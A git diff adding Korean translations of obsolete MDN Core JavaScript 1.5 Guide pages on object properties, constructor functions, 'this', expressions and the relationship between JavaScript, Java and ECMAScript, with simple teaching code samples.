diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html
new file mode 100644
index 0000000000..17c2aa7de8
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html
@@ -0,0 +1,11 @@
+---
+title: Defining Properties for an Object Type
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type
+---
+<h3 id=".EA.B0.9C.EC.B2.B4_.ED.98.95.EC.8B.9D.EC.97.90_.EC.86.8D.EC.84.B1_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0" name=".EA.B0.9C.EC.B2.B4_.ED.98.95.EC.8B.9D.EC.97.90_.EC.86.8D.EC.84.B1_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0">개체 형식에 속성 정의하기</h3>
+<p><code>prototype</code> 속성을 이용하면 이미 정의해 놓은 개체 형식에 속성을 추가할 수 있습니다. 이 방법을 사용하면 개체의 인스턴스 하나에만 속성이 추가되는 것이 아니라 같은 타입의 모든 개체가 공유하는 속성을 정의합니다. 다음 코드는 <code>car</code> 형식의 모든 개체에 <code>color</code> 속성을 추가하고, <code>car1</code> 개체의 <code>color</code> 속성에 값을 할당하는 코드입니다.</p>
+<pre>Car.prototype.color=null;
+car1.color="black";
+</pre>
+<p>더 많은 정보를 얻으려면 <a href="ko/Core_JavaScript_1.5_Reference">기본 JavaScript 레퍼런스</a>에 있는 Function 개체의 <a href="ko/Core_JavaScript_1.5_Reference/Objects/Function#Properties"><code>prototype</code> 속성</a>을 보십시오. {{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html
new file mode 100644
index 0000000000..1b6f50cc11
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html
@@ -0,0 +1,20 @@
+---
+title: Deleting Properties
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties
+---
+<h3 id=".EC.86.8D.EC.84.B1_.EC.A0.9C.EA.B1.B0" name=".EC.86.8D.EC.84.B1_.EC.A0.9C.EA.B1.B0">속성 제거</h3>
+<p><code>delete</code> 연산자를 사용하여 속성을 제거할 수 있습니다. 어떻게 속성을 제거하는지 코드를 보십시오.</p>
+<pre>//a와 b라는 속성을 가지는 새 개체를 만듭니다.
+myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+//myobj가 속성 b만을 가지도록 속성 a를 지웁니다.
+delete myobj.a;
+</pre>
+<p>전역 변수를 선언할 때 <code>var</code> 키워드를 사용하지 않았다면 그 전역 변수를 제거하는데 <code>delete</code> 연산자를 사용할 수 있습니다.</p>
+<pre>g = 17;
+delete g;
+</pre>
+<p>더 많은 정보를 얻으려면 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators#delete">delete</a>를 보십시오. {{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters", "Core_JavaScript_1.5_Guide:Predefined_Core_Objects") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html
new file mode 100644
index 0000000000..8345ba1478
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html
@@ -0,0 +1,6 @@
+---
+title: Creating New Objects
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html
new file mode 100644
index 0000000000..84b9df2c2d
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html
@@ -0,0 +1,9 @@
+---
+title: Indexing Object Properties
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties
+---
+<h3 id=".EA.B0.9C.EC.B2.B4_.EC.86.8D.EC.84.B1_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0" name=".EA.B0.9C.EC.B2.B4_.EC.86.8D.EC.84.B1_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0">개체 속성 접근하기</h3>
+<p>JavaScript 1.0에서는 개체의 속성을 참조할 때 개체 이름이나 순서 인덱스를 사용할 수 있습니다. 그러나 JavaScript 1.1과 그 이후 버전에서는 처음에 속성을 정의할 때 이름으로 정의했으면 항상 이름으로만 참조해야 하고, 인덱스로 정의했으면 인덱스로만 참조해야 합니다.</p>
+<p>이런 제한은 앞 페이지 예제의 car 개체 형식처럼 생성자 함수로 개체와 개체 속성을 만들 때나 명시적으로 개별 속성을 만들 때(예를 들어 <code>myCar.color = "red"</code> 같은 식으로 속성을 추가할 때) 모두 적용됩니다. 그러므로 <code>myCar{{ mediawiki.external(5) }} = "25 mpg"</code>라고 인덱스를 이용해서 속성을 정의하면 그 이후로는 항상 <code>myCar{{ mediawiki.external(5) }}</code>로 참조할 수 있습니다.</p>
+<p>이 규칙은 <code>forms</code> 배열 같이 HTML을 반영하여 생성된 개체에는 예외입니다. 이 배열에 있는 개체를 참조할 때는 순서(문서에 기록된 순서)를 나타내는 숫자나 이름(이름을 정의한 경우에만)을 이용하여 참조할 수 있습니다. 예를 들어, 문서에 있는 두 번째 <code>&lt;FORM&gt;</code> 태그가 "myForm"이라는 값을 가진 <code>NAME</code> 속성을 갖고 있다면 이 폼은 <code>document.forms{{ mediawiki.external(1) }}</code>, <code>document.forms{{ mediawiki.external('\"myForm\"') }}</code>, <code>document.myForm</code>으로 접근할 수 있습니다. {{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_a_Constructor_Function", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html
new file mode 100644
index 0000000000..552347b70e
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html
@@ -0,0 +1,58 @@
+---
+title: Using a Constructor Function
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function
+---
+<h3 id=".EC.83.9D.EC.84.B1.EC.9E.90_.ED.95.A8.EC.88.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EC.83.9D.EC.84.B1.EC.9E.90_.ED.95.A8.EC.88.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">생성자 함수 사용하기</h3>
+<p>다른 방법으로, 다음 두 단계를 거쳐서 개체를 만들 수도 있습니다.</p>
+<ol>
+ <li>생성자 함수를 작성함으로써 개체를 정의합니다.</li>
+ <li>new 키워드를 사용하여 개체의 인스턴스를 만듭니다.</li>
+</ol>
+<p>개체 형식을 정의하기 위해서, 개체의 이름, 속성, 메소드를 지정하는 함수를 만듭니다. 자동차를 나타내기 위한 개체를 만들고 싶다고 해봅시다. 그렇다면 이 형식이 <code>car</code>라고 불리길 원할 것이고, make, model, year라는 속성이 있기를 원할 것입니다. 원하는 것을 이루기 위해서 이런 함수를 작성합니다.</p>
+<pre>function car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+</pre>
+<p>함수의 인자로 전달받은 값을 개체의 속성에 할당하기 위해서 <code>this</code>를 사용했다는 것을 명심하십시오.</p>
+<p>이제 우리는 <code>mycar</code>라는 개체를 이렇게 만들 수 있습니다.</p>
+<pre>mycar = new car("Eagle", "Talon TSi", 1993);
+</pre>
+<p>이 문장은 <code>mycar</code>를 만들고, 지정된 값을 mycar의 속성에 할당합니다. 그러면 <code>mycar.make</code>는 "Eagle"이라는 문자열 값을 가지고, <code>mycar.year</code>는 1993이라는 정수를 가질 것입니다.</p>
+<p>우리는 <code>new</code>를 써서 <code>car</code> 개체를 몇 개라도 만들 수 있습니다.</p>
+<pre>kenscar = new car("Nissan", "300ZX", 1992);
+vpgscar = new car("Mazda", "Miata", 1990);
+</pre>
+<p>개체는 다른 개체를 속성으로 가질 수 있습니다. 예를 들어, <code>person</code> 개체를 다음과 같이 정의했다고 합시다.</p>
+<pre>function person(name, age, sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+}
+</pre>
+<p>그리고나서 person 개체의 인스턴스 두 개를 만듭니다.</p>
+<pre>rand = new person("Rand McKinnon", 33, "M");
+ken = new person("Ken Jones", 39, "M");
+</pre>
+<p>이제 우리는 car가 owner라는 속성으로 <code>person</code> 개체를 가지도록 car의 정의를 바꿀 수 있습니다.</p>
+<pre>function car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+}
+</pre>
+<p>새 개체 인스턴스를 만들 때 이렇게 쓸 수 있습니다.</p>
+<pre>car1 = new car("Eagle", "Talon TSi", 1993, rand);
+car2 = new car("Nissan", "300ZX", 1992, ken);
+</pre>
+<p>위 문장에서 owner 인자로 문자열 상수값이나 정수값을 전달하는 대신 <code>rand</code>와 <code>ken</code>이라는 개체를 전달했다는 사실에 주의하십시오. 이제 car2의 소유자 이름을 알고 싶으면 이런식으로 접근할 수 있습니다.</p>
+<pre>car2.owner.name
+</pre>
+<p>정의된 개체에 아무때나 속성을 추가할 수 있다는 사실을 기억하십시오.</p>
+<pre>car1.color = "black"
+</pre>
+<p>이 문장은 car1에 <code>color</code> 속성을 추가하고 "black"이라는 값을 할당합니다. 그러나 이 문장이 다른 개체에 영향을 미치지는 않습니다. 같은 형식을 가지는 모든 개체에 새 속성을 추가하고 싶으면 car 개체 형식의 정의에 속성을 추가해야 합니다.</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_Object_Initializers", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html
new file mode 100644
index 0000000000..0ed663ae1f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html
@@ -0,0 +1,25 @@
+---
+title: Using this for Object References
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References
+---
+<h3 id="this.EB.A5.BC_.EC.82.AC.EC.9A.A9.ED.95.9C_.EA.B0.9C.EC.B2.B4_.EC.B0.B8.EC.A1.B0" name="this.EB.A5.BC_.EC.82.AC.EC.9A.A9.ED.95.9C_.EA.B0.9C.EC.B2.B4_.EC.B0.B8.EC.A1.B0">this를 사용한 개체 참조</h3>
+<p>JavaScript에는 <code>this</code>라는 키워드가 있는데, 메소드 안에서 현재 개체를 참조하기 위해서 이 키워드를 사용할 수 있습니다. 예를 들어, 개체의 값 속성을 검증하는 <code>validate</code>라는 함수가 있다고 해봅시다.</p>
+<pre>function validate(obj, lowval, hival) {
+ if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+ alert("Invalid Value!");
+}
+</pre>
+<p>그러면 폼의 각 요소의 <code>onchange</code> 이벤트 핸들러에서 <code>validate</code>를 호출할 때, 다음 예제와 같은 방법으로 this를 사용해서 폼 요소를 <code>validate</code>에 전달할 수 있습니다.</p>
+<pre>&lt;input type="text" name="age" size="3"
+ onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p><code>form</code> 속성과 같이 사용하면, <code>this</code>는 현재 개체의 부모 폼을 참조할 수 있습니다. 다음 예제에서, <code>myForm</code>이라는 폼은 <code>Text</code> 개체와 버튼을 포함하고 있습니다. 사용자가 버튼을 클릭하면 <code>Text</code> 개체의 값을 폼 이름으로 바꿉니다. 버튼의 <code>onclick</code> 이벤트 핸들러에서 부모 폼인 <code>myForm</code>을 참조하기 위해서 <code>this.form</code>을 사용하고 있습니다.</p>
+<pre>&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+ onclick="this.form.text1.value=this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html
new file mode 100644
index 0000000000..d9f8bb0bf9
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html
@@ -0,0 +1,16 @@
+---
+title: Expressions
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions
+---
+<h3 id=".ED.91.9C.ED.98.84.EC.8B.9D" name=".ED.91.9C.ED.98.84.EC.8B.9D"> 표현식 </h3>
+<p><i>표현식</i>은 상수(literals), 변수, 연산자 그리고 단일값을 반환하는 계산식(값은 숫자, 문자열, 논리값이 가능)이 알맞게 조합된 집합체다.
+</p><p>개념적으로 보면 표현식에는 두가지 타입이 있다: 하나는 변수에 값을 할당하는 것이고 다른 하나는 단순히 값을 가지고 있는 것이다. 예를 들어, x = 7 이라는 표현식은 x 에 7이라는 값을 할당하는 표현식이다. 이 표현식은 스스로 7이라는 값을 부여한다. 이런 표현식들은 <i>할당 연산자</i>를 사용한다. 반면에, 3 + 4 라는 표현식은 단순히 7이라는 값을 계산할 뿐이다; 할당하지 않는다. 이런 표현식에서 사용되는 연산자는 그냥 단순히 <i>연산자</i>라고만 한다.
+</p><p>JavaScript에는 다음과 같은 타입의 표현식이 있다:
+</p>
+<ul><li> 산술형 : 3.14159와 같이 숫자를 표현(evaluate). (일반적으로 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators">산술 연산자</a>를 사용)
+</li><li> 문자열형: "Fred"나 "234"와 같이 문자열을 표현(evaluate). (일반적으로 <a href="ko/Core_JavaScript_1.5_Guide/Operators/String_Operators">문자열 연산자</a>를 사용)
+</li><li> 논리형: 참(true) 혹은 거짓(false)을 표현(evaluate). (종종 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators">논리 연산자</a>와 함께 사용)
+</li><li> 객체형: 객체를 표현(evaluate). (객체표현식에 사용하는 다양한 연산자는 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators">특수 연산자</a>를 참고)
+</li></ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Unicode", "Core_JavaScript_1.5_Guide:Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Expressions", "fr": "fr/Guide_JavaScript_1.5/Expressions", "ja": "ja/Core_JavaScript_1.5_Guide/Expressions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Wyra\u017cenia" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html
new file mode 100644
index 0000000000..310ab25c67
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html
@@ -0,0 +1,44 @@
+---
+title: JavaScript Overview
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview
+---
+<h3 id="JavaScript.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name="JavaScript.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">JavaScript란 무엇인가?</h3>
+<p>JavaScript는 크로스 플랫폼, 객체 지향 스크립트 언어입니다. JavaScript는 작고, 가벼운 언어입니다; JavaScript는 단독으로 쓰이는 언어로는 유용하지 않지만, 웹 브라우져 같은 다른 제품이나 프로그램에 포함하기 쉽습니다. 호스트 환경에서 JavaScript는 그 환경의 다른 개체(object)들을 프로그램적으로 제어하기 위해서 그들과 연결될 수 있습니다.</p>
+<p>기본 JavaScript(core JavaScript)는 <code>Array</code>, <code>Date</code>, <code>Math</code>등 기본이 되는 개체들(core set of objects)과 연산자, 제어 구조, 문장등 언어의 기본 요소들(core set of language elements)을 포함하고 있습니다. 기본 JavaScript는 다른 개체를 추가함으로써 다양한 목적을 위해 확장될 수 있습니다. 예를 들면 다음과 같은 것들입니다.</p>
+<ul> <li>"클라이언트쪽 JavaScript"는 브라우저(Navigatore 또는 다른 브라우저들)와 브라우저의 Document Object Model(DOM)을 제어할 수 있는 개체들을 제공함으로써 기본 언어를 확장합니다. 예를 들어, 클라이언트쪽 확장 기능은 응용프로그램이 HTML 폼에 요소를 두어 마우스 클릭이나 폼 입력, 페이지 이동 같은 사용자 이벤트에 반응할 수 있게 합니다.</li> <li>"서버쪽 JavaScript"는 서버에서 JavaScript를 실행하는 데 연관되는 개체들을 제공함으로써 기본 언어를 확장합니다. 예를 들어, 서버쪽 확장 기능은 응용프로그램이 관계형 데이터베이스와 통신할 수 있게 하고, 응용프로그램의 호출들 사이에 연속성을 제공하거나, 서버에서 파일 조작을 수행할 수 있도록 해줍니다.</li>
+</ul>
+<p>JavaScript의 LiveConnect 기능을 통해서, Java와 JavaScript 코드가 서로 통신할 수 있습니다. JavaScript에서 Java 개체를 초기화하여 개체의 공개 메소드와 필드에 접근할 수 있습니다. Java에서 JavaScript 개체, 속성(property), 메소드에 접근할 수 있습니다.</p>
+<p>Netscape가 JavaScript를 개발했고 Netscape 브라우저에서 JavaScript가 가장 먼저 사용되었습니다.</p>
+<h3 id="JavaScript.EC.99.80_Java" name="JavaScript.EC.99.80_Java">JavaScript와 Java</h3>
+<p>JavaScript 와 Java 는 여러가지 면에서 비슷하지만 본질적으로 다릅니다. JavaScript는 Java 와 공통점이 있지만 Java 처럼 형(type)을 검사하지 않습니다. JavaScript는 Java 문법의 대부분과 제어흐름의 기본적인 개념들을 지원합니다.</p>
+<p>Java의 클래스 선언으로 이루어지는 컴파일 타임 시스템에 대조적으로, JavaScript는 수, 불리언, 문자열 값을 나타내는 작은 규모의 자료형에 기반한 런타임 시스템을 지원합니다. JavaScript는 클래스 기반 개체 모델이 아닌 프로토타입 기반(prototype-based) 개체 모델을 갖고 있습니다. 프로토타입 기반 개체 모델은 동적인 상속을 제공합니다. 즉, 각각의 개체를 상속할 수 있는 것입니다. JavaScript는 또 특별히 선언시의 요구사항이 없는 함수도 지원합니다. 함수는 느슨하게 타입된 메소드로 실행됨으로써 개체의 속성이 될 수 있습니다.(Functions can be properties of objects, executing as loosely typed methods.)</p>
+<p>Java에 비해 JavaScript는 형식이 자유로운 언어입니다. 모든 변수, 클래스, 메소드들을 꼭 선언 할 필요는 없습니다. 메소드가 public, private, protected 인지 고민해야할 필요가 없고, interface를 구현할 필요도 없습니다. 변수, 매개변수(parameter), 함수의 반환 형식도 명시적으로 지정할 필요가 없습니다.</p>
+<p>Java는 클래스 기반 프로그래밍 언어로서, 빠른 실행과 형 안정성(type safety)을 위해 설계되었습니다. 형 안정성이란 예를 들면 Java에서 정수를 개체 참조로 변환할 수 없고, Java 바이트코드에 오류를 일으켜서 사적인(private) 메모리 공간에 접근할 수 없다는 말입니다. 자바의 클래스 기반 모델은 프로그램이 클래스와 클래스의 메소드로만 이루어진다는 의미입니다. Java의 클래스 상속과 엄격한 형 검사(strong typing)는 일반적으로 단단히 결합된 개체의 계층 구조를 필요로 합니다. 이런 요구사항이 JavaScript 프로그래밍에 비해 Java 프로그래밍을 더 복잡하게 만듭니다.</p>
+<p>반면 JavaScript는 HyperTalk나 dBASE 같이 적은 줄수의 동적 타입 언어를 계승한 것입니다. 이런 스크립트 언어는 더 많은 사람들을 위한 프로그래밍 도구로서 제공되는데, 이 언어들이 문법이 쉽고, 내장되기에 쉬우며, 개체 생성에 요구 사항이 단순하기 때문입니다.</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript</th> <th>Java</th> </tr> <tr> <td>개체 지향. 개체의 형식 사이에 구분이 없음. 프로토타입 메커니즘을 통해 상속을 지원하고, 어떤 개체에든지 동적으로 속성과 메소드를 추가할 수 있습니다.</td> <td>클래스 기반. 개체는 클래스 계층 구조를 관통하는 상속을 통해서 클래스와 인스턴스(instance)로 나뉩니다. 클래스와 인스턴스에는 동적으로 속성과 메소드를 추가할 수 없습니다.</td> </tr> <tr> <td>변수의 자료형을 선언하지 않음(동적 형 검사)</td> <td>변수의 자료형을 반드시 선언해야 함(정적 형 검사)</td> </tr> <tr> <td>Cannot automatically write to hard disk.</td> <td>Cannot automatically write to hard disk.</td> </tr> </tbody>
+</table>
+<p><small><strong>표(Table) 1.1: JavaScript 와 Java 비교</strong></small><br>
+<br>
+Java와 JavaScript 사이의 차이점에 대해서 더 알고 싶으시면 <a href="/ko/Core_JavaScript_1.5_Guide#.EA.B0.9C.EC.B2.B4_.EB.AA.A8.EB.8D.B8.EC.9D.98_.EC.83.81.EC.84.B8_.EB.82.B4.EC.9A.A9" title="ko/Core_JavaScript_1.5_Guide#.EA.B0.9C.EC.B2.B4_.EB.AA.A8.EB.8D.B8.EC.9D.98_.EC.83.81.EC.84.B8_.EB.82.B4.EC.9A.A9">개체 모델의 상세 내용</a>을 보시기 바랍니다.</p><h3 id="JavaScript.EC.99.80_ECMAScript_.EB.AA.85.EC.84.B8" name="JavaScript.EC.99.80_ECMAScript_.EB.AA.85.EC.84.B8">JavaScript와 ECMAScript 명세</h3>
+<p>Netscape가 JavaScript를 개발했고, Netscape 브라우저에서 가장 처음으로 사용되었습니다. 그러나 <a class="external" href="http://www.ecma-international.org/">Ecma International</a> - 정보와 통신 시스템을 표준화하기 위한 유럽 기구(공식적으로 ECMA - the European Computer Manufacturers Association으로 알려짐) - 과 Netscape가 공동으로 작업하여 기본 JavaScript에 기반하여 표준화되고 국제적인 프로그래밍 언어를 만들어냈습니다. JavaScript의 표준화된 버전은 ECMAScript라고 부르고, 표준을 지원하는 응용프로그램에서는 모두 동일하게 동작합니다. 회사들은 그들의 JavaScript 구현을 개발하기 위해서 공개된 표준 언어를 사용할 수 있습니다. ECMAScript 표준은 ECMA-262 명세에 문서화되어 있습니다.</p>
+<p>ECMA-262 표준은 <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization, 국제 표준화기구)의 승인을 받아 ISO-16262가 되었습니다. Mozilla 웹사이트에서 <a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">ECMA-262의 PDF 문서</a>를 얻을 수 있습니다. <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">the Ecma International 웹사이트</a> 에서도 명세를 찾을 수 있습니다. ECMAScript 명세는 <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>에서 표준화 한 Document Object Model(DOM)에 대해서는 설명하지 않습니다. DOM은 HTML 문서 개체들이 스크립트에 노출되는 방식을 정의합니다.</p>
+<h4 id="JavaScript_.EB.B2.84.EC.A0.84.EA.B3.BC_ECMAScript_.ED.8C.90.EB.B3.B8_.EC.82.AC.EC.9D.B4.EC.9D.98_.EA.B4.80.EA.B3.84" name="JavaScript_.EB.B2.84.EC.A0.84.EA.B3.BC_ECMAScript_.ED.8C.90.EB.B3.B8_.EC.82.AC.EC.9D.B4.EC.9D.98_.EA.B4.80.EA.B3.84">JavaScript 버전과 ECMAScript 판본 사이의 관계</h4>
+<p>Netscape는 ECMA와 밀접하게 작업하여 ECMAScript Specification(ECMA-262)를 만들었습니다. JavaScript 버전과 ECMAScript 판본(edition)들 사이의 관계가 아래 표에 설명되어 있습니다.</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript 버전</th> <th>ECMAScript 판본과의 관계</th> </tr> <tr> <td>JavaScript 1.1</td> <td>ECMA-262, 1판은 JavaScript 1.1에 기초합니다.</td> </tr> <tr> <td>JavaScript 1.2</td> <td>JavaScript 1.2가 발표됐을 때 ECMA-262가 아직 완성되지 않았습니다. 다음과 같은 이유때문에 JavaScript 1.2는 ECMA-262 1판과 완벽하게 호환되지 않습니다. <ul> <li>Netscape는 JavaScript 1.2에 몇 가지 기능을 추가했으나, ECMA-262에서 고려하지 못했습니다.</li> <li>ECMA-262는 두 가지 새 기능을 추가했습니다. 유니코드를 이용한 국제화, 모든 플랫폼에서의 동일한 동작. Date 개체 같은 JavaScript 1.2의 몇 가지 기능이 플랫폼에 의존적이었습니다.</li> </ul> </td> </tr> <tr> <td> <p>JavaScript 1.3</p> </td> <td> <p>JavaScript 1.3은 ECMA-262 1판과 완벽하게 호환됩니다.</p> <p>JavaScript 1.3은 ==와 !=연산자를 제외하고는 JavaScript 1.2의 추가적인 기능을 그대로 유지하면서 JavaScript 1.2가 ECMA-262와 어긋나던 점들을 해결했습니다. ==, != 연산자는 ECMA-262에 맞추기 위해 수정되었습니다.</p> </td> </tr> <tr> <td> <p>JavaScript 1.4</p> </td> <td> <p>JavaScript 1.4는 ECMA-262 1판과 완벽하게 호환됩니다.</p> <p>JavaScript 1.4가 발표되었을 때 ECMAScript 명세의 세 번째 버전이 아직 완성되지 않았습니다.</p> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>JavaScript 1.5는 ECMA-262 3판과 완벽하게 호환됩니다.</td> </tr> </tbody>
+</table>
+<p><small><strong>표 1.2: JavaScript 버전과 ECMAScript 판본</strong></small><br>
+<br>
+참고: ECMA-262 2판은 1판에 편집상 사소한 변경과 버그 수정을 가한 판본입니다. 현재 ECMA의 TC39 워킹그룹에서 ECMAScript 4판을 작업하고 있습니다. 4판은 JavaScript 2.0과 대응될 것입니다.</p>
+<p><a href="/ko/Core_JavaScript_1.5_Guide" title="ko/Core_JavaScript_1.5_Guide">JavaScript 기본 레퍼런스</a>에서 ECMAScript 호환 기능을 보여줍니다.</p>
+<p>JavaScript는 항상 ECMAScript Specification에 포함되지 않은 기능들을 포함할 것입니다. JavaScript는 추가적인 기능을 제공하지만 ECMAScript와 호환됩니다.</p>
+<h4 id="JavaScript_.EB.AC.B8.EC.84.9C_vs_ECMAScript_.EB.AA.85.EC.84.B8.EC.84.9C" name="JavaScript_.EB.AC.B8.EC.84.9C_vs_ECMAScript_.EB.AA.85.EC.84.B8.EC.84.9C">JavaScript 문서 vs ECMAScript 명세서</h4>
+<p>ECMAScript 명세는 ECMAScript를 구현하는데 필요한 요구사항을 모아놓은 것입니다. 이것은 우리가 JavaScript의 한 기능이 다른 ECMAScript 구현에서도 지원될 것인지 결정하는데 유용합니다. ECMAScript에서 지원하는 기능만을 사용하는 JavaScript 코드를 작성할 계획이라면 ECMAScript 명세를 살펴볼 필요가 있을 것입니다.</p>
+<p>ECMAScript 문서는 스크립트 프로그래머를 돕기위해 작성된 것이 아닙니다. 스크립트 작성에 대한 정보를 얻으려면 JavaScript 문서를 보십시오.</p>
+<h4 id="JavaScript.EC.99.80_ECMAScript_.EC.9A.A9.EC.96.B4" name="JavaScript.EC.99.80_ECMAScript_.EC.9A.A9.EC.96.B4">JavaScript와 ECMAScript 용어</h4>
+<p>ECMAScript 명세는 JavaScript 프로그래머에게는 친숙하지 않은 용어와 문법을 사용하여 작성되었습니다. 비록 ECMAScript의 언어 설명이 다르긴 하지만 언어는 똑같습니다. JavaScript는 ECMAScript 명세에서 설명하는 모든 기능을 지원합니다.</p>
+<p>JavaScript 문서는 JavaScript 프로그래머에게 적당한 언어의 측면을 설명합니다. 예를 들면 이렇습니다.</p>
+<ul> <li>전역 개체(Global Object)는 JavaScript 문서에서는 논의되지 않는데, 그것은 우리가 그 개체를 직접 사용할 일이 없기 때문입니다. 전역 개체에서 우리가 사용할 만한 메소드와 속성은 JavaScript 문서에서 논의되고 있기는 하지만 최상위(top-level) 함수와 속성이라고 부릅니다.</li> <li>JavaScript 문서에서 매개변수가 없는 <code>Number</code>와 <code>String</code> 개체 생성자는 논의되지 않고 있는데, 그것은 거의 사용할 일이 없기 때문입니다. <code>Number</code>의 인자없는 생성자는 +0을 반환하고, <code>String</code>의 인자없는 생성자는 ""(빈 문자열)을 반환합니다.</li>
+</ul>
